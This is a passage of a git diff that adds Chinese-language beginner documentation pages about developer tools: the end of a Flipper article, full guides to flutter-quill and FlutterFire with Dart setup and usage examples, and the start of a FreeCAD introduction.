只看到 Metro、看不到真机插件**:Metro 要跑着;同时要在设备列表里选 **物理机/模拟器** 那一行,不是只选 "React Native"。 +3. **插件装了但不显示**:桌面 Plugin Manager 是否安装对应 desktop 包;App 是否 `pod install` / 重启;**设备选择**是否正确。 +4. **Hermes Debugger 空白**:关闭其他 React DevTools 实例;保证只有一个 RN App 在跑;不要同时开「Remote JS Debugging」老式调试。 +5. **新版本 Flipper 连不上老项目**:锁定 Desktop **v0.239.0** 并与 `FLIPPER_VERSION` / Podfile 对齐。 + +## 与同类工具对比 + +| 工具 | 定位 | 和 Flipper 的关系 | +|------|------|-------------------| +| **Android Studio Layout Inspector** | 官方 UI 调试 | 功能重叠;Flipper 跨 iOS/Android 统一入口 | +| **Charles / Proxyman** | 系统级抓包 | Network 插件更贴进程,但 HTTPS 解密配置各有门槛 | +| **Reactotron** | RN 专用 | 社区有 Flipper 插件移植版 | +| **Chrome DevTools** | Web / 远程 JS 调试 | RN 新架构更偏向 Hermes / Fusebox 路线,Flipper RN 支持已冻结 | + +## 学习路径建议 + +1. **零基础**:装 v0.239.0 或 `npx flipper-server` → 跑官方 `iOS/Sample` 或 `sample` Android 工程 → 点一遍 Logs / Layout / Network。 +2. **RN 维护者**:对齐 `FLIPPER_VERSION` → 分清 Metro 设备 vs 真机设备 → 读 [fbflipper.com/docs](https://fbflipper.com/docs/getting-started) 故障排除页。 +3. **进阶**:读 `Building a Desktop Plugin` + `Building a React Native Plugin` → 给团队做一个「环境切换 / Mock API」插件。 +4. **新项目选型**:原生移动仍可用 Flipper;**RN 新项目**应关注 Meta 新调试工具与 Expo 文档,Flipper 作历史参考即可。 + +## 小结 + +Flipper 的核心价值不是某一个面板,而是 **「可插拔的移动调试操作系统」**:统一设备连接、插件协议和 UI 壳。零基础记住三句话就够: + +1. **电脑开 Flipper,手机跑 Debug App,两边版本对齐。** +2. **日志 / 布局 / 网络 / 数据库,都是插件;缺能力就写插件。** +3. **RN 生态正在迁移,学架构思想比追最新版号更重要。** + +官方文档:[Getting Started](https://fbflipper.com/docs/getting-started) · [React Native](https://fbflipper.com/docs/features/react-native) · [Plugin Tutorial](https://fbflipper.com/docs/tutorial/react-native) diff --git a/src/content/docs/projects/flutter-quill.md b/src/content/docs/projects/flutter-quill.md new file mode 100644 index 000000000..db6752fb6 --- /dev/null +++ b/src/content/docs/projects/flutter-quill.md @@ -0,0 +1,397 @@ +--- +title: flutter-quill — Flutter 跨平台富文本编辑器 +来源: 'https://github.com/singerdmx/flutter-quill' +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**flutter-quill** 是 Flutter 生态里最常用的开源**富文本编辑器**(WYSIWYG:所见即所得)。日常类比:它像手机备忘录或 Notion 里那一整块「正文区 + 上方格式条」——你点 **B** 变粗体、下拉选标题、插图片,用户在 App 里排版;而你作为开发者,不必自己画几十个格式按钮、算光标偏移、维护选区状态,只要把 `QuillEditor` 和 `QuillSimpleToolbar` 拼起来,中间用同一个 `QuillController` 绑住就行。 + +底层数据格式叫 **Quill Delta**:文档不是存一整段 HTML,而是存一串 JSON 操作(插入文字、加粗、换行、嵌入图片等)。这和 Web 端著名的 [Quill.js](https://quilljs.com/) 同源;Flutter 版由 [singerdmx/flutter-quill](https://github.com/singerdmx/flutter-quill) 维护(GitHub 约 2.9k star),支持 **Android、iOS、Web、Windows、macOS、Linux**。 + +最小可用界面: + +```dart +QuillSimpleToolbar( + controller: _controller, + config: const QuillSimpleToolbarConfig(), +), +Expanded( + child: QuillEditor.basic( + controller: _controller, + config: const QuillEditorConfig(), + ), +), +``` + +工具栏和编辑区像「遥控器和电视」——必须配对**同一个** `QuillController`,否则点加粗毫无反应。 + +## 为什么重要 + +做笔记 App、社区发帖、工单描述、邮件草稿、CMS 移动端,几乎都会遇到「用户要排版,不能只给 ``」。自己从零实现会踩这些坑: + +- **选区与格式**:光标在中间时加粗,只应作用选中文本;跨段落、跨 embed 时光标逻辑极繁。 +- **跨平台输入法**:软键盘、物理键盘、Web 粘贴、桌面剪贴板行为不一致。 +- **持久化格式**:存纯文本丢格式;存 HTML 再转回来结构对不齐;**Delta JSON 是官方推荐路径**。 + +flutter-quill 把这些打包成可定制组件,并有 `flutter_quill_extensions`(图片/视频 embed)、`flutter_quill_test`(测试辅助)等周边包。若团队 Web 端已在用 Quill/ReactQuill,Flutter 端格式互通成本最低。 + +## 核心要点 + +把 flutter-quill 想成四层: + +1. **QuillController**:文档的「大脑」。持有 `Document`,响应编辑、暴露 `readOnly`、支持 `undo`/`redo`,必须在 `dispose()` 里释放。类比 Word 里那份文档的内存句柄。 +2. **Document + Delta**:内容的真相来源。`document.toDelta()` 导出变更序列;`Document.fromJson(...)` 从 JSON 还原。推荐**数据库里存 Delta JSON**,而不是 HTML(往返转换会丢结构,官方 README 明确不推荐以 HTML 为主存储)。 +3. **QuillSimpleToolbar / QuillEditor**:UI 层。Toolbar 配置哪些按钮出现(字号、颜色、列表、链接等);Editor 负责渲染与输入。桌面端常配 `FocusNode` + `ScrollController`,点工具栏后把焦点拉回编辑区。 +4. **Embed Blocks**:图片、视频、自定义卡片等非纯文本块。核心包只定义接口;图片/视频实现放在 `flutter_quill_extensions`。 + +Delta 长什么样(概念上): + +```json +[ + {"insert": "Hello "}, + {"insert": "World", "attributes": {"bold": true}}, + {"insert": "\n", "attributes": {"header": 1}} +] +``` + +每条 `insert` 是一段文字或 embed;`attributes` 是粗体、斜体、标题级别等。整篇文档就是 ops 数组——紧凑、可 diff、适合协作类场景扩展。 + +### 关键 API 速查 + +| API | 作用 | +|-----|------| +| `QuillController.basic()` | 创建空文档 | +| `document.toDelta().toJson()` | 导出 Delta JSON | +| `Document.fromJson(list)` | 从 JSON 恢复 | +| `document.toPlainText()` | 纯文本(搜索引用,勿当唯一存储) | +| `controller.readOnly = true` | 只读预览 | +| `controller.formatText(i, len, attr)` | 代码里改格式 | + +## 安装与 App 壳配置 + +```yaml +# pubspec.yaml +dependencies: + flutter_quill: ^11.0.0 # 以 pub.dev 当前稳定版为准 + flutter_localizations: + sdk: flutter +``` + +```bash +flutter pub add flutter_quill +``` + +工具栏文案要跟随系统语言,需在 `MaterialApp` 注册本地化 delegate: + +```dart +import 'package:flutter_quill/flutter_quill.dart'; +import 'package:flutter_localizations/flutter_localizations.dart'; + +MaterialApp( + localizationsDelegates: const [ + GlobalMaterialLocalizations.delegate, + GlobalCupertinoLocalizations.delegate, + GlobalWidgetsLocalizations.delegate, + FlutterQuillLocalizations.delegate, + ], + // ... +); +``` + +依赖链还包括 `url_launcher`(打开链接)、`quill_native_bridge`(平台剪贴板/原生桥)、`flutter_keyboard_visibility_temp_fork`(键盘显隐)。Android 若要把编辑器内图片复制到系统剪贴板供其他 App 使用,需按 README 配置 `FileProvider`(可选)。 + +## 实践案例 + +### 案例 1:StatefulWidget 里搭完整编辑页(含存盘) + +```dart +import 'dart:convert'; +import 'package:flutter/material.dart'; +import 'package:flutter_quill/flutter_quill.dart'; + +class NoteEditorPage extends StatefulWidget { + const NoteEditorPage({super.key}); + + @override + State createState() => _NoteEditorPageState(); +} + +class _NoteEditorPageState extends State { + late final QuillController _controller; + final FocusNode _focusNode = FocusNode(); + final ScrollController _scrollController = ScrollController(); + + @override + void initState() { + super.initState(); + _controller = QuillController.basic(); + } + + @override + void dispose() { + _controller.dispose(); + _focusNode.dispose(); + _scrollController.dispose(); + super.dispose(); + } + + String exportJson() => + jsonEncode(_controller.document.toDelta().toJson()); + + void importJson(String json) { + _controller.document = + Document.fromJson(jsonDecode(json) as List); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + appBar: AppBar( + title: const Text('写笔记'), + actions: [ + IconButton( + icon: const Icon(Icons.save), + onPressed: () { + final saved = exportJson(); + // 写入 SQLite / SharedPreferences / 后端 API + debugPrint(saved); + }, + ), + ], + ), + body: Column( + children: [ + QuillSimpleToolbar( + controller: _controller, + config: const QuillSimpleToolbarConfig(), + ), + const Divider(height: 1), + Expanded( + child: QuillEditor( + focusNode: _focusNode, + scrollController: _scrollController, + controller: _controller, + config: const QuillEditorConfig( + placeholder: '开始写点什么…', + padding: EdgeInsets.all(16), + ), + ), + ), + ], + ), + ); + } +} +``` + +**要点**: + +- `QuillController.basic()` 创建空文档;有草稿时用 `Document.fromJson` 恢复。 +- 保存时用 `jsonEncode(document.toDelta().toJson())`,不要只用 `toPlainText()`(会丢粗体、标题等)。 +- `readOnly` 可在预览模式设 `_controller.readOnly = true`,同一套 Widget 复用。 +- 桌面端点工具栏后可在 `afterButtonPressed` 里 `focusNode.requestFocus()`,避免焦点留在按钮上。 + +### 案例 2:定制工具栏 + 只读预览 + +发帖页往往不需要全部按钮,只要粗体、列表、链接: + +```dart +QuillSimpleToolbar( + controller: _controller, + config: QuillSimpleToolbarConfig( + showAlignmentButtons: false, + showBackgroundColorButton: false, + showColorButton: false, + showFontFamily: false, + showFontSize: false, + showStrikeThrough: false, + showUnderLineButton: false, + customButtons: [ + QuillToolbarCustomButtonOptions( + icon: const Icon(Icons.preview), + onPressed: () { + Navigator.push( + context, + MaterialPageRoute( + builder: (_) => PreviewPage(deltaJson: exportJson()), + ), + ); + }, + ), + ], + ), +), +``` + +预览页再建一个 controller,加载 JSON 并只读: + +```dart +class PreviewPage extends StatefulWidget { + const PreviewPage({super.key, required this.deltaJson}); + final String deltaJson; + + @override + State createState() => _PreviewPageState(); +} + +class _PreviewPageState extends State { + late final QuillController _preview; + + @override + void initState() { + super.initState(); + _preview = QuillController( + document: Document.fromJson( + jsonDecode(widget.deltaJson) as List, + ), + selection: const TextSelection.collapsed(offset: 0), + ); + _preview.readOnly = true; + } + + @override + void dispose() { + _preview.dispose(); + super.dispose(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + appBar: AppBar(title: const Text('预览')), + body: QuillEditor.basic( + controller: _preview, + config: const QuillEditorConfig(), + ), + ); + } +} +``` + +同一套 `QuillEditor`,编辑/预览只差 `readOnly` 和数据是否从 JSON 灌入。 + +### 案例 3:代码里插入内容 + 图片 embed + +保存前自动加签名,或从模板灌入段落: + +```dart +void appendSignature(QuillController controller) { + final offset = controller.document.length - 1; + controller.document.insert(offset, '\n—— 发自 MyApp\n'); + controller.updateSelection( + TextSelection.collapsed(offset: controller.document.length - 1), + ChangeSource.local, + ); +} + +// 对选区加粗(无选区则对当前行无效,需先检查 selection) +void boldSelection(QuillController controller) { + final sel = controller.selection; + if (!sel.isValid || sel.isCollapsed) return; + controller.formatText( + sel.start, + sel.end - sel.start, + Attribute.bold, + ); +} +``` + +图片/视频需要 `flutter_quill_extensions`: + +```yaml +dependencies: + flutter_quill_extensions: ^11.0.0 +``` + +```dart +import 'package:flutter_quill_extensions/flutter_quill_extensions.dart'; + +QuillSimpleToolbar( + controller: _controller, + config: QuillSimpleToolbarConfig( + embedButtons: FlutterQuillEmbeds.toolbarButtons(), + ), +), +Expanded( + child: QuillEditor( + controller: _controller, + focusNode: _focusNode, + scrollController: _scrollController, + config: QuillEditorConfig( + embedBuilders: kIsWeb + ? FlutterQuillEmbeds.editorWebBuilders() + : FlutterQuillEmbeds.editorBuilders(), + ), + ), +), +``` + +Web 还需配置 `webImagePickImpl`;Desktop 需 `filePickImpl`,否则图片按钮可能无反应。粘贴图片时可在 `QuillControllerConfig.clipboardConfig.onImagePaste` 里把字节存盘并返回 URL 字符串写入 Delta。 + +## 输入输出与格式转换 + +| 需求 | 推荐做法 | +|------|----------| +| 存数据库 | Delta JSON(`toDelta().toJson()`) | +| 搜纯文本 | `document.toPlainText()` 建索引,展示仍用 Delta | +| 分享 HTML | 用 `vsc_quill_delta_to_html` 等**导出时**再转,勿当主存储 | +| 导入 Markdown | `markdown_quill` 双向转换 | +| 导出 PDF | `flutter_quill_to_pdf` | +| HTML → Delta 迁移 | `flutter_quill_delta_from_html` 一次性转换后改存 Delta | + +官方强调:**Delta → HTML → Delta 往返会丢信息**。迁移旧系统 HTML 可以一次性转成 Delta 入库,之后生命周期内都以 Delta 为准。 + +## 平台差异(零基础常踩) + +- **Web**:图片 embed 需 `editorWebBuilders()` 和 `webImagePickImpl`;富文本粘贴目前 Web 支持有限(见 issue #1998、#2220)。 +- **Desktop**:工具栏插图片需实现 `filePickImpl`,否则图片按钮不可用。 +- **键盘**:依赖键盘可见性插件;真机调试比模拟器更能暴露软键盘顶起、滚动问题。 +- **版本迁移**:大版本(如 10→11)有 [migration guide](https://github.com/singerdmx/flutter-quill/blob/master/doc/migration/10_to_11.md),升级前先看 breaking changes。当前稳定线约 **v11.5.x**。 + +## 与同类方案怎么选 + +| 方案 | 特点 | +|------|------| +| **flutter-quill** | Delta 模型、模块化、社区最大、Quill.js 同源 | +| **fleather** | 基于 Parchment/Delta,偏轻量 | +| **super_editor** | 可定制性极强,适合自建文档产品,学习曲线更陡 | + +若只要简单 Markdown 预览,可能 `flutter_markdown` + 纯文本编辑就够,不必上完整 WYSIWYG。 + +## 常见坑 + +1. **忘记 dispose controller** → 内存泄漏、热重载后行为异常。 +2. **Toolbar 和 Editor 用了两个 controller** → 点工具栏无效。 +3. **只存 plain text** → 用户排的版全丢。 +4. **把 HTML 当主存储再 parse 回来** → 列表、embed、嵌套格式对不齐。 +5. **没加 `FlutterQuillLocalizations.delegate`** → 工具栏 tooltip/文案异常。 +6. **Web/Desktop 图片** → 忘了 platform hook,表现为按钮无反应或 embed 空白。 + +## 测试与扩展 + +- 自动化测试可看 [flutter_quill_test](https://pub.dev/packages/flutter_quill_test),目前能力有限,复杂交互仍建议 widget 测试 + 真机手测。 +- 自定义块(投票卡片、@用户、时间戳):实现 [Custom Embed Blocks](https://github.com/singerdmx/flutter-quill/blob/master/doc/custom_embed_blocks.md) 里的 builder;官方 example 里有 `TimeStampEmbed` 可参考。 +- 读源码前可看 [Code Introduction](https://github.com/singerdmx/flutter-quill/blob/master/doc/code_introduction.md) 和 YouTube Playlist。 + +## 小结 + +flutter-quill 把「富文本编辑」拆成 **Controller(状态)+ Delta(数据)+ Toolbar/Editor(UI)**。零基础路径: + +1. `flutter pub add flutter_quill`,注册 `FlutterQuillLocalizations.delegate`。 +2. `QuillController.basic()` + 默认工具栏 + `QuillEditor`,跑通输入。 +3. 学会 **JSON 存盘/读盘**(`toDelta().toJson()` / `Document.fromJson`)。 +4. 按需裁剪工具栏、只读预览、embed 与平台配置。 + +记住一句:**数据库里存 Delta JSON,HTML 只当导出格式**——这条能避开大部分生产事故。 + +## 延伸阅读 + +- 官方 README 与 [Sample Page 源码](https://github.com/singerdmx/flutter-quill/blob/master/example/lib/main.dart) +- [Quill Delta 格式说明](https://quilljs.com/docs/delta/) +- pub.dev:[flutter_quill](https://pub.dev/packages/flutter_quill) · [flutter_quill_extensions](https://pub.dev/packages/flutter_quill_extensions) diff --git a/src/content/docs/projects/flutterfire.md b/src/content/docs/projects/flutterfire.md new file mode 100644 index 000000000..79f3c0d31 --- /dev/null +++ b/src/content/docs/projects/flutterfire.md @@ -0,0 +1,292 @@ +--- +title: FlutterFire — Flutter 接入 Firebase 的官方插件全家桶 +来源: 'https://github.com/firebase/flutterfire' +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +**FlutterFire** 是 Firebase 官方维护的一组 **Flutter 插件**,让 Flutter 应用能调用 Firebase 的后端能力——认证、云数据库、推送、存储、崩溃上报等。日常类比:Firebase 是云端「水电煤公司」,FlutterFire 则是进你 Flutter 项目里的**统一接线盒**——你不用分别找 iOS 的 Swift SDK、Android 的 Kotlin SDK、Web 的 JS SDK 各接一遍,只要装对应 Dart 插件,同一套 API 在 iOS、Android、Web(以及 beta 的 macOS / Windows)上都能用。 + +仓库地址:[firebase/flutterfire](https://github.com/firebase/flutterfire)(BSD-3-Clause)。最新文档以 [firebase.google.com/docs/flutter](https://firebase.google.com/docs/flutter) 为准;旧站 `firebase.flutter.dev` 已归档。 + +典型接入流程: + +```bash +# 1. 安装 CLI 工具链 +firebase login +dart pub global activate flutterfire_cli + +# 2. 在 Flutter 项目根目录绑定 Firebase 项目,生成配置 +flutterfire configure + +# 3. 添加核心插件并初始化 +flutter pub add firebase_core +``` + +然后在 `main.dart` 里完成启动初始化(见下文代码示例)。 + +## 为什么重要 + +不理解 FlutterFire,下面这些场景都说不清: + +- 为什么 Flutter 团队推荐用 `flutterfire configure` 而不是手动改 `google-services.json` / `GoogleService-Info.plist` +- 为什么必须先 `await Firebase.initializeApp()` 才能用 Auth、Firestore 等插件 +- 为什么加一个 Firebase 产品(如 Crashlytics)后还要**再跑一遍** `flutterfire configure`(Android Gradle 插件依赖) +- 为什么 Web 端会涉及 Trusted Types、JS SDK 自动注入等 Flutter 特有细节 +- FlutterFire 用 **BoM(Bill of Materials)** 锁定各插件与原生 SDK 的兼容版本——混装不同大版本插件容易构建失败 + +## 核心概念 + +### 1. `firebase_core` — 一切服务的总开关 + +所有 Firebase 功能都依赖 `firebase_core`。它负责把 Flutter 应用「注册」到 Firebase 项目,建立与原生 Firebase SDK 的桥接。类比:进大楼前先在大堂登记——不登记,后面的会议室(Auth、Firestore)都进不去。 + +初始化必须在 `runApp` 之前完成,且是异步的: + +```dart +import 'package:firebase_core/firebase_core.dart'; +import 'firebase_options.dart'; + +Future main() async { + WidgetsFlutterBinding.ensureInitialized(); + await Firebase.initializeApp( + options: DefaultFirebaseOptions.currentPlatform, + ); + runApp(const MyApp()); +} +``` + +`firebase_options.dart` 由 `flutterfire configure` 自动生成,内含各平台的 `apiKey`、`appId`、`projectId` 等——这些是**项目标识符**,可进客户端,不是服务端密钥。 + +### 2. FlutterFire CLI — 配置即代码 + +`flutterfire configure` 会: + +- 让你在 Firebase Console 里选/建项目,并为 iOS、Android、Web 等注册 App +- 生成 `lib/firebase_options.dart` +- 在 Android 上按需注入 Google Services / Crashlytics 等 Gradle 插件 + +**何时要重跑 configure**:新增平台(例如后来才支持 Web)、新增需要原生 Gradle 配置的产品(Google 登录、Crashlytics、Performance、Realtime Database 等)。 + +本地开发也可连 **Firebase Emulator**,用 demo 项目 ID 初始化: + +```dart +await Firebase.initializeApp( + options: DefaultFirebaseOptions.currentPlatform, + // 或演示模式: + // demoProjectId: 'demo-my-project', +); +``` + +### 3. 插件化架构 — 按需安装,BoM 对齐版本 + +FlutterFire 不是一个大包,而是**每个 Firebase 产品一个 pub 包**。常用 stable 插件包括: + +| 产品 | pub 包名 | 典型用途 | +| --- | --- | --- | +| Authentication | `firebase_auth` | 邮箱/手机/Google/Apple 登录 | +| Cloud Firestore | `cloud_firestore` | 文档型 NoSQL,实时同步 | +| Cloud Messaging | `firebase_messaging` | 推送通知(FCM) | +| Cloud Storage | `firebase_storage` | 用户上传文件/图片 | +| Analytics | `firebase_analytics` | 行为埋点 | +| Crashlytics | `firebase_crashlytics` | 崩溃与错误上报 | +| Remote Config | `firebase_remote_config` | 远程开关与 A/B | +| Realtime Database | `firebase_database` | JSON 树形实时库 | + +官方发布 **Flutter BoM(Bill of Materials)**,把 `firebase_core`、`firebase_auth`、`cloud_firestore` 等插件与底层 Android Gradle / Apple CocoaPods SDK 锁在同一兼容矩阵里。截至 2026-06-01,最新稳定 BoM 为 **4.15.0**(详见仓库 [VERSIONS.md](https://github.com/firebase/flutterfire/blob/main/VERSIONS.md))。可用 CLI 一次性安装对齐版本: + +```bash +flutterfire install 4.15.0 +``` + +添加单个插件时仍推荐:`flutter pub add cloud_firestore` → 再 `flutterfire configure` → `flutter run`。 + +### 4. 多平台同构 API + +Flutter 的卖点是「写一次,多端跑」。FlutterFire 插件在 Dart 层暴露统一 API,底层分别调用 Apple / Android / Web 原生 SDK。注意: + +- **Windows**:官方标明仅适合本地开发,不建议生产 +- **Web**:Firebase JS SDK 可能由 FlutterFire 自动注入;可用 `window.flutterfire_ignore_scripts` 改为手动加载 +- **Apple 推送**:FCM 在 iOS 需 APNs 密钥、Push Capability 等额外配置 + +### 5. 与 Firebase UI 的关系 + +表单、登录页等**预制 UI** 已迁到独立仓库 [FirebaseUI-Flutter](https://github.com/firebase/FirebaseUI-Flutter)。FlutterFire 本体只提供 SDK 能力,UI 层需自建或使用 FirebaseUI。 + +## 实践案例 + +### 案例 1:邮箱注册 + 登录(firebase_auth) + +在 Firebase Console → Authentication → Sign-in method 中启用 Email/Password 后: + +```dart +import 'package:firebase_auth/firebase_auth.dart'; + +class AuthService { + final FirebaseAuth _auth = FirebaseAuth.instance; + + /// 当前用户;未登录时为 null + User? get currentUser => _auth.currentUser; + + /// 监听登录态变化(冷启动恢复 session 也走这条流) + Stream authStateChanges() => _auth.authStateChanges(); + + Future signUp(String email, String password) { + return _auth.createUserWithEmailAndPassword( + email: email, + password: password, + ); + } + + Future signIn(String email, String password) { + return _auth.signInWithEmailAndPassword( + email: email, + password: password, + ); + } + + Future signOut() => _auth.signOut(); +} +``` + +在 Widget 里用 `StreamBuilder` 根据 `authStateChanges()` 切换登录页与主页——Auth 在移动端默认**持久化登录态**(Web 可配置 `Persistence.LOCAL` / `NONE`)。 + +### 案例 2:Firestore 读写待办列表(cloud_firestore) + +Firestore 以**集合(collection)→ 文档(document)→ 字段**组织数据,并支持实时监听: + +```dart +import 'package:cloud_firestore/cloud_firestore.dart'; + +class TodoRepository { + final CollectionReference> _todos = + FirebaseFirestore.instance.collection('todos'); + + /// 实时列表:服务端有变更时 Stream 自动推送 + Stream> watchAll() { + return _todos + .orderBy('createdAt', descending: true) + .snapshots() + .map((snap) => snap.docs + .map((d) => Todo.fromFirestore(d.id, d.data())) + .toList()); + } + + Future add(String title) { + return _todos.add({ + 'title': title, + 'done': false, + 'createdAt': FieldValue.serverTimestamp(), + }); + } + + Future toggleDone(String id, bool done) { + return _todos.doc(id).update({'done': done}); + } +} + +class Todo { + final String id; + final String title; + final bool done; + + Todo({required this.id, required this.title, required this.done}); + + factory Todo.fromFirestore(String id, Map data) { + return Todo( + id: id, + title: data['title'] as String? ?? '', + done: data['done'] as bool? ?? false, + ); + } +} +``` + +UI 层: + +```dart +StreamBuilder>( + stream: todoRepo.watchAll(), + builder: (context, snapshot) { + if (snapshot.connectionState == ConnectionState.waiting) { + return const CircularProgressIndicator(); + } + final items = snapshot.data ?? []; + return ListView.builder( + itemCount: items.length, + itemBuilder: (_, i) => CheckboxListTile( + title: Text(items[i].title), + value: items[i].done, + onChanged: (v) => todoRepo.toggleDone(items[i].id, v ?? false), + ), + ); + }, +) +``` + +**安全提醒**:客户端能读写什么,由 Firebase Console 里的 **Firestore Security Rules** 决定,不能只靠「藏 API」——规则写错等于数据库对全世界开放。 + +### 案例 3:推送通知(firebase_messaging)要点 + +```dart +import 'package:firebase_messaging/firebase_messaging.dart'; + +// 顶层函数:App 在后台/终止态收到消息时必须在 isolate 外注册 +@pragma('vm:entry-point') +Future _firebaseMessagingBackgroundHandler(RemoteMessage message) async { + await Firebase.initializeApp(options: DefaultFirebaseOptions.currentPlatform); + // 处理后台消息 +} + +Future setupMessaging() async { + FirebaseMessaging.onBackgroundMessage(_firebaseMessagingBackgroundHandler); + + final messaging = FirebaseMessaging.instance; + await messaging.requestPermission(); // iOS 弹权限框 + + final token = await messaging.getToken(); // 上报到你的后端,用于定向推送 + debugPrint('FCM token: $token'); +} +``` + +iOS 还需 Apple Developer 配置 APNs;Android 需带 Google Play 的模拟器或真机。 + +## 从零到上线的推荐顺序 + +1. **创建 Flutter 项目** → 安装 Firebase CLI + FlutterFire CLI +2. **`flutterfire configure`** → 检查生成的 `firebase_options.dart` +3. **`firebase_core` + `main.dart` 初始化** → `flutter run` 确认无报错 +4. **按产品加插件**(Auth / Firestore 等)→ 每加一类服务,重跑 configure +5. **Console 里开 Sign-in 方式、写 Security Rules、开 Analytics** +6. **真机测 FCM、Crashlytics**;Web 单独测 Trusted Types / 脚本注入 +7. 用 **`flutterfire install `** 或锁定 `pubspec.yaml` 版本,避免 CI 与同事环境不一致 + +## 常见坑 + +| 现象 | 常见原因 | +| --- | --- | +| `FirebaseException: no Firebase App '[DEFAULT]'` | 未 `initializeApp` 或在初始化完成前调用了 Firebase API | +| Android 构建失败,提示 Google Services | 未跑 `flutterfire configure`,或 `google-services.json` 与包名不匹配 | +| iOS 推送收不到 | 缺 APNs 密钥、未开 Push Capability、用模拟器测 FCM | +| Firestore 权限 denied | Security Rules 过严或用户未登录;在 Console Rules 模拟器里调试 | +| 插件版本冲突 | 混用不同 BoM 时代的包;改用 `flutterfire install` 对齐 | +| Web 白屏 / CSP 报错 | 内容安全策略拦截 Firebase JS;检查 `flutterfire_ignore_scripts` 与手动 import | + +## 和相近方案怎么选 + +- **Supabase Flutter**:开源 Postgres + Auth + Realtime,自托管或云服务;适合要强 SQL、要脱离 Google 生态的团队 +- **Appwrite Flutter SDK**:自托管 BaaS,接口风格类似 Firebase +- **纯 REST + 自建后端**:灵活度最高,但要自己管 auth、推送、存储、监控 +- **FlutterFire**:与 Firebase Console、Google Analytics、Crashlytics、FCM 深度集成;适合已用 GCP/Firebase、要快出 MVP 的移动/Web 产品 + +## 延伸资源 + +- 官方入门:[Add Firebase to your Flutter app](https://firebase.google.com/docs/flutter/setup) +- Codelab:[Get to know Firebase for Flutter](https://firebase.google.com/codelabs/firebase-get-to-know-flutter) +- 版本矩阵:[flutterfire VERSIONS.md](https://github.com/firebase/flutterfire/blob/main/VERSIONS.md) +- 各插件 pub.dev 文档(如 [firebase_auth](https://pub.dev/packages/firebase_auth)、[cloud_firestore](https://pub.dev/packages/cloud_firestore)) +- 问题反馈:FlutterFire 专属 issue → [firebase/flutterfire](https://github.com/firebase/flutterfire/issues);通用 Flutter 问题 → [flutter/flutter](https://github.com/flutter/flutter/issues) diff --git a/src/content/docs/projects/freecad.md b/src/content/docs/projects/freecad.md new file mode 100644 index 000000000..672d8a7a8 --- /dev/null +++ b/src/content/docs/projects/freecad.md @@ -0,0 +1,247 @@ +--- +title: FreeCAD — 参数化 CAD +来源: https://github.com/FreeCAD/FreeCAD +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**FreeCAD** 是一款**免费开源**的全功能参数化 3D CAD 软件,源码托管于 [FreeCAD/FreeCAD](https://github.com/FreeCAD/FreeCAD)。它面向机械设计、3D 打印零件、建筑 BIM 草模、有限元分析前处理等场景,用**特征树 + 草图约束**描述零件如何生成——改一个尺寸,整棵历史树自动重算,而不是像网格雕刻那样「改了就回不去」。 + +日常类比:如果把 [[openscad]] 比作**写菜谱**(纯文本、CSG 布尔运算),把 [[blender]] 比作**电影制片厂**(动画、渲染、有机造型),FreeCAD 更像**正规机械制图室里的活页夹**: + +- 每一页草图(**Sketch**)是带尺寸约束的 2D 工程图; +- 每一页特征(**Pad** 拉伸、**Pocket** 挖槽)是在前一页实体上「加盖」或「开孔」; +- 整本活页夹装进一个文件夹(**Body**),最后导出 STL 给切片软件,或出工程图给车间。 + +再打个比方:传统无参数 CAD 像**用橡皮泥捏零件**——捏坏了只能重来。参数化 CAD 像**乐高说明书**:「底板 40×20,立柱高 30,孔距 15」——改说明书上的数字,成品自动变,但**不能**随便抽掉中间某块而不考虑后面步骤(这就是特征树顺序的意义)。 + +最小 Python 示例(在 **View → Panels → Python console** 或宏里运行): + +```python +import FreeCAD as App +import Part + +doc = App.newDocument("Hello") +box = doc.addObject("Part::Box", "Box") +box.Length = 20 +box.Width = 10 +box.Height = 5 +doc.recompute() +``` + +三行属性赋值 = 一个 20×10×5 mm 的实体出现在 3D 视图。GUI 里 Part 工作台创建的立方体,底层就是这类 `Part::` 对象。 + +## 为什么重要 + +零基础学「能加工、能打印、能画工程图」的 3D,FreeCAD 有几个现实理由: + +- **零订阅、GPL/LGPL 混合许可**:个人、教育、小企业均可免费使用,不像 SolidWorks / Fusion 按年付费 +- **参数化机械工作流完整**:Part Design(特征建模)、Sketcher(2D 约束)、TechDraw(工程图)、Assembly(装配)、FEM(有限元)、Path(CAM 刀路)——一个 `.FCStd` 项目串起来 +- **Python 一等公民**:界面操作几乎都能用脚本复现;宏、工作台扩展、批量改图是日常操作 +- **3D 打印与 Maker 生态**:导出 STL/3MF;与 [[openscad]] 互补——复杂草图约束用 FreeCAD 更顺手,纯算法生成几何用 OpenSCAD 更轻 +- **跨平台**:Windows / macOS / Linux;0.22+(及 1.0 线)显著缓解长期困扰用户的**拓扑命名**问题,特征树更稳定 + +代价也要心里有数:学习曲线比 OpenSCAD 陡;界面/workbench 多,新手容易迷路;高端曲面、大型装配、CAM 刀路仍弱于商业 CAD,但教参数化思维足够。 + +## 核心要点 + +### 1. 工作台(Workbench)——按需换工具箱 + +FreeCAD 主程序像**空教室**,真正能力来自可插拔的 **Workbench**: + +| 工作台 | 干什么 | 类比 | +| --- | --- | --- | +| **Part Design** | 实体特征建模(Body、Pad、Pocket) | 机械车间:车削、铣槽 | +| **Sketcher** | 2D 草图 + 几何/尺寸约束 | 蓝图桌 | +| **Part** | 布尔、倒角、简单 primitive | 万能钳工台 | +| **Draft** | 2D 标注、尺寸、SVG 导出 | 制图员 | +| **TechDraw** | 正投影工程图 | 打印车间图纸 | +| **Assembly** | 多零件约束装配 | 装配流水线 | +| **FEM** | 网格划分、边界条件、求解 | 结构分析室 | +| **Path** | CAM 刀路(配合 GRBL 等) | CNC 编程 | + +零基础建议路径:**Part Design → Sketcher** 打通一条「草图 → 拉伸 → 挖孔 → 导出 STL」闭环,再按需摸 Draft / TechDraw。 + +### 2. Body、Sketch、Feature——特征树三件套 + +**Part Design** 的核心对象关系: + +``` +Document + └── Body(单一连续实体容器,自带局部坐标系) + ├── Origin(基准面 XY / XZ / YZ) + ├── Sketch(2D 轮廓,附在某个面上) + ├── 